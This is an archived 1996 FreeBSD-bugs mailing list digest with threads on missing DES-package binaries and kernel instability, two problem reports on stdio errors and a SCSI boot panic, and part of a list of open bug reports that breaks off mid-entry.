From owner-freebsd-bugs Sun Nov 17 00:14:51 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA04334 for bugs-outgoing; Sun, 17 Nov 1996 00:14:51 -0800 (PST) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA04325 for ; Sun, 17 Nov 1996 00:14:41 -0800 (PST) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id JAA09379; Sun, 17 Nov 1996 09:14:26 +0100 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA24184; Sun, 17 Nov 1996 09:14:25 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.2/8.6.9) id JAA11252; Sun, 17 Nov 1996 09:13:22 +0100 (MET) From: J Wunsch Message-Id: <199611170813.JAA11252@uriah.heep.sax.de> Subject: Re: 2.1.6-RELEASE DES Problem To: mark@grondar.za (Mark Murray) Date: Sun, 17 Nov 1996 09:13:22 +0100 (MET) Cc: pgilley@metronet.com, bugs@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199611170724.JAA03736@grackle.grondar.za> from Mark Murray at "Nov 17, 96 09:24:34 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Mark Murray wrote: > Phil Gilley wrote: > > The DES package seems to be missing /sbin/init and maybe other things as > > well (the same problem also existed under 2.1.5-RELEASE). > You're right. Secure init and ed-with-crypt are missing. Sigh. If people had actually had reported this problem with 2.1.5, it's rather easy to fix. Now it's too late. :-( I've just verified on Jordan's 2.1.6 build machine... i think the story is as follows: he used to hand-craft the ammunition- braindeadness affected binaries up to 2.1R, while we switched over to automagically generate both versions later. However, while the magic to create this has been kept in sync with -current in /usr/src/release, it simply has never been pulled into the Makefiles for init and ed. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Sun Nov 17 00:56:16 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA06299 for bugs-outgoing; Sun, 17 Nov 1996 00:56:16 -0800 (PST) Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA06286; Sun, 17 Nov 1996 00:56:03 -0800 (PST) Received: from katiska.clinet.fi (root@katiska.clinet.fi [194.100.0.4]) by hauki.clinet.fi (8.8.2/8.6.4) with ESMTP id KAA08017; Sun, 17 Nov 1996 10:55:04 +0200 (EET) Received: (hsu@localhost) by katiska.clinet.fi (8.8.2/8.6.4) id KAA25317; Sun, 17 Nov 1996 10:55:03 +0200 (EET) Date: Sun, 17 Nov 1996 10:55:03 +0200 (EET) Message-Id: <199611170855.KAA25317@katiska.clinet.fi> From: Heikki Suonsivu To: Heikki Suonsivu Cc: Peter Wemm , FreeBSD-gnats@freefall.freebsd.org, freebsd-bugs@freefall.freebsd.org Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-Reply-To: <199610221604.TAA04027@katiska.clinet.fi> References: <199610220516.IAA00811@katiska.clinet.fi> <199610220643.OAA10951@spinner.DIALix.COM> <199610221604.TAA04027@katiska.clinet.fi> Organization: Clinet Ltd, Espoo, Finland Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk November 16 kernel is still unstable. For last two kernels I got a deadlock within 5 minutes of newsfeed starting up, so something might have changed, from crash and filesystem corruption to deadlock. August 19 kernel still runs with no serious problems. Has anyone got a news server running reliably with kernels later than end of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can repeat this so easily, I would assume a lot of people should see this ? I have gotten metoos from (only?) three people now. This problem has been there for about 2 months now. The system is 3940, seagate Hawks for news disks, P120 ASUS TritonII, 96M. Exports two NFS disks (not the news partitions). Heikki Suonsivu writes: > Peter Wemm writes: > > Heikki Suonsivu wrote: > > > > > > Heikki Suonsivu writes: > > > > FreeBSD-gnats@freefall.freebsd.org writes: > > > > > Thank you very much for your problem report. > > > > > It has the internal identification `kern/1698'. > > > > > The individual assigned to look at your > > > > > bug is: freebsd-bugs. > > > > > > > > > > >Category: kern > > > > > >Responsible: freebsd-bugs > > > > > >Synopsis: sup from around 21:51 GMT 28th very unstable (mmap, ma > > ybe?) > > > > > >Arrival-Date: Mon Sep 30 21:10:01 PDT 1996 > > > > > > > > Crashes without mmap also; apparently the problem has to be somewhere else > > . > > > > > > sup from 20th october still bad, panic within 24 hours (news+nfs), > > > filesystems get badly corrupted (lots of dup/bad inodes, zero-length director > > y, > > > usually sequential inodes get killed). > > > > Are you using a 4K blocksize on your news file system by any chance? I've > > been having corruption problems like this for 12 months now, and changing > > to 8K blocks seems to have cured it.. (at least, the machine has been up > > for 7 days now, previous record was 3 and a half days). The disk > > overheads are a killer though... :-( > > We use 4K blocksize. With the previous kernel from about a month a go we > have been getting uptimes of about a week, I do not know for sure how much > average would be as I have been about once a week tried to upgrade to a > newer current. I haven't seen a single corruption problem with that > kernel, though some panics, so something bad happened about month ago. > > We mount some thing from the news server with NFS, so it might be related > to other people reporting NFS being flakey for last couple of weeks. The > filesystem corruption is nasty, as it requires manual care to get things up > and going... > > > > > Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi > > > > mobile +358-40-5519679 work +358-0-43542270 fax -4555276 home -8031121 > > > > Cheers, > > -Peter > > -- > Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi > mobile +358-40-5519679 work +358-0-43542270 fax -4555276 -- Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-9-43542270 fax -4555276 From owner-freebsd-bugs Sun Nov 17 01:20:11 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA08027 for bugs-outgoing; Sun, 17 Nov 1996 01:20:11 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA08018; Sun, 17 Nov 1996 01:20:08 -0800 (PST) Resent-Date: Sun, 17 Nov 1996 01:20:08 -0800 (PST) Resent-Message-Id: <199611170920.BAA08018@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, tenser@spitfire.ecsel.psu.edu Received: from spitfire.ecsel.psu.edu (qmailr@spitfire.ecsel.psu.edu [146.186.218.51]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA07789 for ; Sun, 17 Nov 1996 01:17:16 -0800 (PST) Received: (qmail 13852 invoked by uid 1000); 17 Nov 1996 09:25:32 -0000 Message-Id: <19961117092532.13851.qmail@spitfire.ecsel.psu.edu> Date: 17 Nov 1996 09:25:32 -0000 From: tenser@spitfire.ecsel.psu.edu Reply-To: tenser@spitfire.ecsel.psu.edu To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/2043: 2.2-ALPHA stdio problems? (Bad Address errors) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2043 >Category: kern >Synopsis: 2.2-ALPHA stdio problems? (Bad Address errors) >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Nov 17 01:20:05 PST 1996 >Last-Modified: >Originator: Dan Cross >Organization: Penn State University >Release: FreeBSD 2.2-CURRENT i386 >Environment: i386dx40, 8MB RAM, 1.2GB IDE disk, 64Kb cache I'm not sure of the motherboard manufactor. This is an old system which I pieced together out of parts. It seems to work rather well, except for this problem with stdio. Given the just, well, ``odd'' nature of the problem, and the fact that I've not seen any spontaneous reboots or failures of non-interactive programs etc., I don't believe this to be a hardware error. Also, I've seen it both on console and when logged in over the network. Oddly enough, my shell (tcsh) seems to be immune. I have experienced this as both myself and as root, though I was su'ed for the latter (actually, runas vipw'ed). >Description: Programs which read from stdin will, if given a period of inactivity (say, 30 seconds) return ``Bad Address'' errors from read calls. This will cause vi to exit or dump core, sendmail to ignore whoever it's talking to, telnet to stop talking to a remote host, etc. >How-To-Repeat: Pop up vi on a small file, go get a glass of water, come back and type a command, such as ``j''. vi will give an error and exit. >Fix: I wish I knew, but I bet it's either in the kernel, the stdio libraries, or specific to my system. I'm guessing that it probably has to something to do with the VM system, but I really don't know. Unfortunately, this is the only machine which I have where I can run 2.2-ALPHA, so I can't test it further. :-( >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Nov 17 02:45:41 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA11127 for bugs-outgoing; Sun, 17 Nov 1996 02:45:41 -0800 (PST) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA11122 for ; Sun, 17 Nov 1996 02:45:32 -0800 (PST) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.7.6/8.7.3) id MAA17585; Sun, 17 Nov 1996 12:44:44 +0200 (SAT) From: John Hay Message-Id: <199611171044.MAA17585@zibbi.mikom.csir.co.za> Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-Reply-To: <199611170855.KAA25317@katiska.clinet.fi> from Heikki Suonsivu at "Nov 17, 96 10:55:03 am" To: hsu@clinet.fi (Heikki Suonsivu) Date: Sun, 17 Nov 1996 12:44:44 +0200 (SAT) Cc: freebsd-bugs@freefall.freebsd.org X-Mailer: ELM [version 2.4ME+ PL24 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > November 16 kernel is still unstable. For last two kernels I got a > deadlock within 5 minutes of newsfeed starting up, so something might have > changed, from crash and filesystem corruption to deadlock. August 19 > kernel still runs with no serious problems. > > Has anyone got a news server running reliably with kernels later than end > of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can > repeat this so easily, I would assume a lot of people should see this ? I > have gotten metoos from (only?) three people now. This problem has been > there for about 2 months now. > > The system is 3940, seagate Hawks for news disks, P120 ASUS TritonII, 96M. > Exports two NFS disks (not the news partitions). > I have at least an uptime of more than a day. :-) I have rebooted with a 14 Nov -current kernel yesterday morning and it is still running. The machine is a 200Mhz Pentium with 128M RAM and a 2940UW controller with 4 x 2G Hawks. Its got 3 feeds with an average of 180-200k articles per day and feeds 3 other sites also. Oh if it makes a difference, the news spool is a ccd disk over all 4 disks with a blocksize of 8k. The UNINET-ZA which is the South African academic net have 5 feeder machines that run kernels of 10 Nov. They have uptimes of 4-6 days. The one with 4 days uptime gave disk errors and I had to reseat the cables. They have 3 x 2940UW's and 7 x "Quantum XP34300W" wide disks. It looks as if they also use a blocksize of 8k on their spool disk. They have dual processor boards with 256M RAM. If you want more info on these machines have a look at http://www.uni.net.za/config.html John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-bugs Sun Nov 17 03:20:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA13457 for bugs-outgoing; Sun, 17 Nov 1996 03:20:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA13441; Sun, 17 Nov 1996 03:20:03 -0800 (PST) Resent-Date: Sun, 17 Nov 1996 03:20:03 -0800 (PST) Resent-Message-Id: <199611171120.DAA13441@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, sauber@netcom.com Received: from myname.my.domain (sfo-ca6-14.ix.netcom.com [199.35.210.206]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA13317 for ; Sun, 17 Nov 1996 03:16:20 -0800 (PST) Received: (from sauber@localhost) by myname.my.domain (8.8.2/8.8.2) id DAA00840; Sun, 17 Nov 1996 03:16:05 -0800 (PST) Message-Id: <199611171116.DAA00840@myname.my.domain> Date: Sun, 17 Nov 1996 03:16:05 -0800 (PST) From: Soren Dossing Reply-To: sauber@netcom.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/2044: sd0(ahc0:0:0) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2044 >Category: kern >Synopsis: sd0(ahc0:0:0) >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: support >Submitter-Id: current-users >Arrival-Date: Sun Nov 17 03:20:02 PST 1996 >Last-Modified: >Originator: Soren Dossing >Organization: >Release: FreeBSD 2.2-ALPHA i386 >Environment: >Description: I have problems boot my PC after installing FreeBSD-2.2-ALPHA. FreeBSD-2.2-961014-SNAP worked fine (though it took several minutes to boot). I am puzzled about how the boot disk for 2.2-ALPHA could work and install the software (from ppp on sl0), but booting from HD is not possible. Below a screen dump of the boot process (as much as I could catch) - it should tell what hardware I have. The CD-ROM that it never find is a TEAC SCSI CD-ROM 56S. --- boot dump --- Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2-ALPHA #0: Wed Nov 13 15:29:19 1996 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC Calibrating clock(s) relative to mc146818A clock ... i586 clock:17963533 Hz, i 8254 clock: 1193230 Hz CPU: Pentium Pro (179.63-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x617 Stepping=7 Features=0xf9ff FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,b11,MTRR,PGE,MCA,CMOV real memory = 33554432 avail memory = 30380032 Probing for devices on PCI bus 0: chip0 Intel 82440FX (Natoma) PCI and memory controller rev 2 on pci0:0 chip1 Intel 82371SB PCIC-ISA bridge rev 1 on pci0:7:0 chip2 Intel 82371SB IDE interface rev 0 on pci0:7:1 vga0 VGA-compatible display device rev 11 int a irq 11 on pci0:11 fxp0 Intel EtherExpress Pro/100B Fast Ethernet rev 1 int a irq 9 on pci0:15 fxp0: Ethernet address 00:a0:c9:16:c2:40 ahc0 Adaptec 2940 Ultra SCSI host adapter rev 0 int a irq 10 on PCI0:19 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0 waiting for scsi devices to settle (ahc0:0:0): "Quantum XP32150 L912" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct Access 2050MB (4199760 512 byte sectors) [ ... long pause ... ] ahc0: board not responding (ahc0:3:0) timed out in dataout phase, SCSISIGI == 0x0 SEQADDR == 0x6 <--- sometimes 0xa, 0xb, 0xe or 0xf [ ... long pause ... ] ahc0: board not responding cmd fail (ahc:0:3:0): "unknown unknown ????" type 0 fixed SCSI sd0(ahc0:3:0): Direct-Access ahc0: board not responding cmd fail ahc0: board not responding cmd fail 0MB (1 512 byte sectors) Probing for devices on the iSA bus [ ... scrolling very fast ... ] xxx0: disabled, not probed. <--- lots of changing root device to sd0a WARNING: / was not properly dismounted /etc/rc: Can't open /etc/rc Enter pathname of shell or RETURN for sh: sd0(ahc0:0:0): timed out in dataph ase, SCSISIGI == 0x0 SEQADDR == 0xa panic: biodone: buffer not busy syncing disks... done Automatic reboot in 15 seconds - press a key on the concolse to about --- boot ndump --- >How-To-Repeat: Reboot again and again. >Fix: Go back to 2.2-961014-SNAP ? >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Nov 17 04:30:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA17132 for bugs-outgoing; Sun, 17 Nov 1996 04:30:14 -0800 (PST) Received: (from pst@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA17125 for freebsd-bugs; Sun, 17 Nov 1996 04:30:13 -0800 (PST) Date: Sun, 17 Nov 1996 04:30:13 -0800 (PST) From: Paul Traina Message-Id: <199611171230.EAA17125@freefall.freebsd.org> To: freebsd-bugs Subject: active bugs Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions fo FreeBSD including experimental development code and obsolete releases. Bugs can be in one of several states: open A problem report has been submitted, no sanity checking performed analyzed The report has been examined by a team member and evaluated feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. suspended Work on the problem has been postponsed. This happens if a timely solution is not possible or is not cost-effective at the present time. The PR continues to exist, though a solution is not being actively sought. If the problem cannot be solved at all, it will be closed, rather than suspended. closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Engr. Description ------------------------------------------------------------------------------- a [1995/01/11] i386/105 bde Distributed libm (msun) has non-standard o [1995/02/14] kern/216 davidg /kernel: panic: ffs_alloccg: map corrupte o [1995/12/08] kern/876 mpp NFS allows bogus accesses to cached data a [1996/01/22] kern/965 bde 2.0.5: system crashes daily because of "m a [1996/03/04] kern/1059 hsu null fs panics system o [1996/04/06] kern/1121 dyson System crashes on boot up just after the o [1996/05/07] kern/1177 dyson Machine hangs with message "vm_fork: no p a [1996/05/19] kern/1217 separating to hardrives to two IDE channe o [1996/06/05] kern/1293 Fatal trap 12: page fault while in kernel o [1996/06/11] kern/1311 dyson Panic: vm_page_free while installing new f [1996/07/15] bin/1387 Group file errors cause absolute havoc o [1996/08/15] kern/1498 system hangs during inactivity a [1996/08/30] bin/1554 wollman routed kills default permanently o [1996/09/11] kern/1599 panic: locking against myself o [1996/09/13] conf/1608 FreeBSD's bug tracking system does not re f [1996/09/14] kern/1609 page fault while in kenel mode during Lin o [1996/09/29] bin/1693 rarpd does not appear to work o [1996/09/29] bin/1694 rbootd does not appear to work o [1996/09/30] kern/1698 sup from around 21:51 GMT 28th very unsta o [1996/10/01] conf/1704 Install fails, probe dos not find my ADAP a [1996/10/08] kern/1744 run queue or proc list smashed 4 times in o [1996/10/13] kern/1790 access to /dev/kmem panics system o [1996/10/22] bin/1863 On systems with setuid 'lpr' and defined f [1996/10/28] kern/1919 access to files/directories fails, gives o [1996/11/01] kern/1940 TCP doesn't time out of FIN_WAIT_1 and fl o [1996/11/04] i386/1959 DELAY() won't work for fast CPUs a [1996/11/14] i386/2010 Fe in 2.2-ALPHA is broken and doesn't wor o [1996/11/15] pending/2033gnats-ad unmount of doubly mounted devfs forces pa o [1996/11/17] kern/2043 2.2-ALPHA stdio problems? (Bad Address e o [1996/11/17] kern/2044 sd0(ahc0:0:0) 30 problems total. Serious problems S Submitted Tracker Engr. Description ------------------------------------------------------------------------------- o [1994/11/30] kern/34 davidg nullfs and union mounts can result in wil o [1995/01/24] gnu/183 peter can't resolve "operator <<" overload a [1995/03/20] kern/260 davidg msync and munmap don't bother to update m a [1995/03/20] docs/264 paul There are no manual pages for the forms l o [1995/04/01] kern/291 se PCI devices still probe/attach after bein o [1995/04/20] kern/353 se xcdplayer crashes machine (with NCR810 SC f [1995/05/08] bin/389 Simultaneous creation/deletion of dirs co a [1995/05/09] bin/392 Simultaneous cp and ls of files on dos f/ o [1995/05/16] kern/425 wollman arp entries not getting removed when inte a [1995/06/17] kern/527 dufault dump causes assertion in ncr.c o [1995/07/02] kern/579 bde sio: RS_IBUFSIZE at 256 bytes serial line o [1995/08/01] bin/648 bde printf format conversion incorrect (dupli o [1995/08/15] i386/692 bde My modem is not found if my external cach o [1995/08/21] kern/703 amurai ppp not always deleting route properly wh o [1995/08/22] bin/706 increased root DNS traffic and long laten f [1995/09/20] kern/730 gibbs 3Com 3C5x9 probe problem f [1995/09/26] bin/739 Some problems when an output filter reads o [1995/09/27] kern/745 se occasional filesystem inconsistencies, an f [1995/09/27] kern/750 cd9660 confused by not-ready or I/O error a [1995/10/07] bin/771 wollman telnet character mode not set and broken o [1995/10/11] bin/777 patch doesn't realize stdin is closed and o [1995/10/18] bin/786 wpaul Problem with NIS and large group maps a [1995/10/26] kern/794 swap partition at offset 0 still broken o [1995/11/12] kern/820 gibbs scsi tape problems f [1995/11/16] bin/826 tcpmux listener in inetd does not work o [1995/11/28] bin/850 dump treats write-protect as an EOT & spo o [1995/12/02] kern/860 msmith visual mode in kernel -c is too restricti o [1995/12/20] i386/906 davidg /sys/i386/boot/netboot/nb8390.com cannot o [1995/12/29] kern/920 bde sio output looses chars in fifo on close( o [1996/01/01] bin/926 Mounting nfs disks before starting mountd o [1996/01/02] kern/927 sos VGA mode not restored f [1996/01/06] kern/932 de0 occasionally enables 100baseTX when p o [1996/01/25] kern/971 Default limits for number of processes pe o [1996/01/28] kern/976 se NCR SCSI driver gives assertion errors an o [1996/02/01] bin/986 steve problems make-ing with cd in the rule o [1996/02/06] kern/998 bde badness in file system silently crashes m o [1996/02/12] bin/1019 joerg getty cannot detect ppp logins o [1996/02/12] kern/1020 .Boca 16-port board still hangs o [1996/02/12] docs/1023 mpp using touch to create swap file for NFS d a [1996/02/17] bin/1030 steve /bin/sh does not pass environment variabl f [1996/02/28] bin/1050 Process (zip) hangs (unkillable) after fl f [1996/03/06] kern/1065 wt could crash reading short blocks s [1996/03/06] kern/1067 mpp panic: ufs_lock: recursive lock not expec o [1996/03/09] bin/1073 telnet -8 does not work with SunOS or Sol f [1996/03/21] i386/1097 gibbs system hang during tape rewind/aic7870 co o [1996/03/23] kern/1098 File system corruption (2 cases) o [1996/03/30] bin/1111 scrappy mail.local will happily deliver mail to a o [1996/04/05] kern/1118 panic: setrunqueue encountered when wine f [1996/04/07] kern/1122 Kernel (current) does not see all memory o [1996/04/11] kern/1134 se PPB support is broken for multiple/unknow f [1996/04/11] kern/1135 starting an extra mountd and then killing f [1996/05/10] misc/1187 pppd dies with a segv f [1996/05/14] kern/1204 umount -f after SCSI reset -> reboot o [1996/05/24] misc/1247 bde Conflicting header files f [1996/05/26] i386/1251 aha0 and bt0(eisa) conflicts again. f [1996/05/26] kern/1252 Heavy activity on a CD causes panic o [1996/05/26] kern/1256 ZNYX 314 mysterously looses packets o [1996/05/28] kern/1271 phk Kernel panic using PLIP in 27/05 current o [1996/05/31] kern/1284 dyson panic: vm_page_free: freeing busy page o [1996/06/02] i386/1288 bde wdgetctlr (wd.c) return incorrect number o [1996/06/06] misc/1299 sos National charecter problem in XFree86 o [1996/06/07] kern/1301 davidg DEC FDDI/PCI Adapter: halt code = 6 (DMA o [1996/06/10] kern/1308 dyson vm_page_free: wire count > 1 in 960501-SN f [1996/06/14] kern/1323 nate 960612's psm driver does not see the mous o [1996/06/16] kern/1327 joerg keyboard probe in -current fails, X reboo a [1996/06/18] kern/1333 davidg free vnode isn't: another -stable coredum o [1996/06/19] kern/1336 Permission for .. in NFS mounts is somewh f [1996/06/25] bin/1351 security problem with mv(1) o [1996/07/09] bin/1377 mv(1) retains the setuid bit when it is u o [1996/07/09] gnu/1379 Man command problem, when it writes into o [1996/07/16] bin/1392 jkh PPP silently fails to work when CTS/RTS i a [1996/07/18] kern/1397 bde can't send to a pipe o [1996/07/19] gnu/1407 bde ld computes wrong size of common (global f [1996/07/20] bin/1410 /usr/bin/login is suid, with little requi f [1996/07/24] kern/1423 wollman route causes kernel page fault. f [1996/08/01] bin/1454 steve /bin/sh bug handling <<[n] FD processing o [1996/08/03] bin/1461 Incorrect address binding of Kerberized r o [1996/08/04] kern/1467 gibbs scsi_prevent causing tape problems on clo o [1996/08/09] kern/1480 terminal "cons25" resize problem o [1996/08/18] kern/1512 dyson Use of madvise may may cause bad memory m o [1996/08/21] bin/1522 dump | restore of filesystem corrupted fi o [1996/08/22] kern/1531 Machine hangs, unable to either fork or e o [1996/08/22] kern/1533 dyson Machine can be panicked by a userland pro f [1996/08/22] i386/1534 jkh Installing from Mitsumi FX001D CD-ROM dri o [1996/08/24] ports/1539 sos Attempts to run Linux elf binaries using o [1996/08/25] misc/1541 julian fork.o in libc_r fails to compile o [1996/08/29] bin/1552 sos moused has no manual page (and -s option o [1996/09/02] bin/1563 Curses let letters fall away sometimes f [1996/09/05] kern/1570 Setting SHMALL > 35000 causes panic o [1996/09/08] docs/1588 jfieber Handbook Incorrect LaTeX/PostScript outpu o [1996/09/14] kern/1610 dyson mmap() of unassociated memory + mlock() c o [1996/09/14] kern/1613 I get ls: fts_read: No such file or direc o [1996/09/16] i386/1626 MUSTEK Scanner hangs NCR SCSI controller f [1996/09/18] kern/1637 mss driver causes feedback (squeal) on so o [1996/09/18] kern/1638 worm driver won't make audio tracks o [1996/09/19] bin/1650 telnet encryption with char-mode and asci o [1996/09/19] kern/1652 changing time hangs system o [1996/09/21] kern/1661 ft driver hangs uninterruptably at "bavai o [1996/09/22] bin/1664 getty doesn't use init kerninfo struct o [1996/09/23] kern/1670 PCI ed probe causes a page fault o [1996/09/24] kern/1677 read from /dev/kmem may crash system o [1996/09/26] kern/1684 inconsistent permission failures on NFS r o [1996/09/28] bin/1687 watch makes kernel crash o [1996/09/29] kern/1689 TCP extensions throttles distant connecti o [1996/09/29] kern/1692 Page fault while in kernel modem fatal tr o [1996/10/01] bin/1702 installing of tcl manpages fails from mak o [1996/10/01] bin/1705 COM2 not detected when booting from Hardd o [1996/10/03] kern/1715 le driver non-reentrant o [1996/10/03] kern/1716 LKM does not install character devices o [1996/10/04] kern/1724 gibbs HP colorado T4000S tape drive hangs syste o [1996/10/04] kern/1726 panic in kmem_malloc (dump available) o [1996/10/05] i386/1730 SFF8020 violation and silly bug in atapi. o [1996/10/10] ports/1753 markm SSLeay doesn't work against Microsoft sec o [1996/10/10] kern/1754 netbooted machines freeze with ifconfig a o [1996/10/10] ports/1759 tg uudeview and uulib ports are imperfect (i o [1996/10/11] bin/1773 asami A NULL pointer causing segmentation core o [1996/10/11] bin/1774 pst telnet spins when killed before network i o [1996/10/13] gnu/1787 Diffs with Index: lines are not honored f o [1996/10/13] bin/1789 pst dump estimates a negative number of tapes o [1996/10/14] bin/1805 Bug in ftpd o [1996/10/15] bin/1810 fsck -p does not check pass 0 filesystems o [1996/10/15] kern/1812 dyson vnodes are left in a locked state o [1996/10/15] kern/1814 cy driver gets deadlocked sometimes o [1996/10/16] i386/1821 boot fails if bad144 selected on large pa o [1996/10/16] kern/1828 limit filesize does not work o [1996/10/18] kern/1839 Multiple mfs mounts of same mount point o [1996/10/20] kern/1848 breakpoints may be set in shared librarie o [1996/10/21] kern/1856 read-only nfs mount: panic leaf should be o [1996/10/21] misc/1857 paramater of opendir gets thrashed o [1996/10/22] bin/1865 Problem with touch command o [1996/10/22] ports/1866 popclient flushes remote mailbox even wit o [1996/10/23] bin/1873 kerberos login encryption incompatible wi o [1996/10/24] kern/1880 kernel crash during boot when using 512 M o [1996/10/24] bin/1882 nobody can su when wheel group is empty o [1996/10/25] kern/1887 serial line switches from 9600 to 57600 w o [1996/10/25] bin/1891 mountd fails to export o [1996/10/26] bin/1892 install(1) removes target file o [1996/10/27] misc/1910 filenames with unusual characters break / o [1996/10/28] kern/1914 vm_page_alloc(ZERO): missing page on free o [1996/10/29] bin/1927 User CPU time getting accounting as syste o [1996/10/30] misc/1928 jkh fdisk incorrectly detects driver geometry o [1996/10/30] kern/1929 HP C1536A DAT drive errors o [1996/10/31] ports/1938 iv port doesn't build ibuild f [1996/11/03] kern/1951 Warning! Defective early revision adapter o [1996/11/04] bin/1952 Long chat script makes ppp dump core o [1996/11/05] ports/1965 pst MH command rcvtty broken o [1996/11/06] bin/1972 NFS stops under load o [1996/11/07] bin/1973 pppd uses /etc/ppp/options.tty after comm f [1996/11/07] bin/1974 amd crashes with signal 11 o [1996/11/07] kern/1976 psm and syscons conflicts have escalated o [1996/11/08] gnu/1981 ypserv handles null key incorrectly o [1996/11/08] bin/1982 arpresolve: cant allocate llinfo for 207. o [1996/11/08] i386/1983 syscons fails/hangs during system boot if o [1996/11/13] misc/1998 clock() wraps after only 548775 ticks o [1996/11/13] bin/2001 vi confused about lines to display o [1996/11/13] i386/2002 sio doesn't detect com port on Compaq Con o [1996/11/14] bin/2006 Tclsh fails on `info sharedlibextension' o [1996/11/14] misc/2013 'make world' fails on read-only /usr/src o [1996/11/14] kern/2014 Console keyboard lockup problem o [1996/11/15] bin/2016 static libtcl references symbols that are o [1996/11/15] gnu/2035 deque bug, local gnu changes to deque hea 161 problems total. Non-critical problems S Submitted Tracker Engr. Description ------------------------------------------------------------------------------- a [1994/12/01] kern/35 bde mount -t union -o -b : lower layer not se o [1995/01/14] bin/115 bde systat iostat display doesn't scale high o [1995/01/15] bin/146 version of compress is kinda old and slow o [1995/01/21] bin/174 Poor error message from stty o [1995/01/22] kern/176 peter EIDRM not defined in errno.h o [1995/03/28] kern/281 gibbs Messages printed when checking CD ROM dev o [1995/03/28] kern/282 gibbs buslogic adapter information WAY too verb a [1995/04/09] bin/326 Weekly cron generates some usage and erro o [1995/04/20] misc/355 policy on /usr/local permission in base r f [1995/05/12] bin/398 fenner VI doesnt do the correct thing o [1995/05/13] bin/401 wollman Add REMOTE_* variables o [1995/05/15] misc/423 Sound devices are too insecure o [1995/05/23] i386/440 sos want vidcontrol option to apply settings a [1995/05/27] gnu/450 scrappy tar 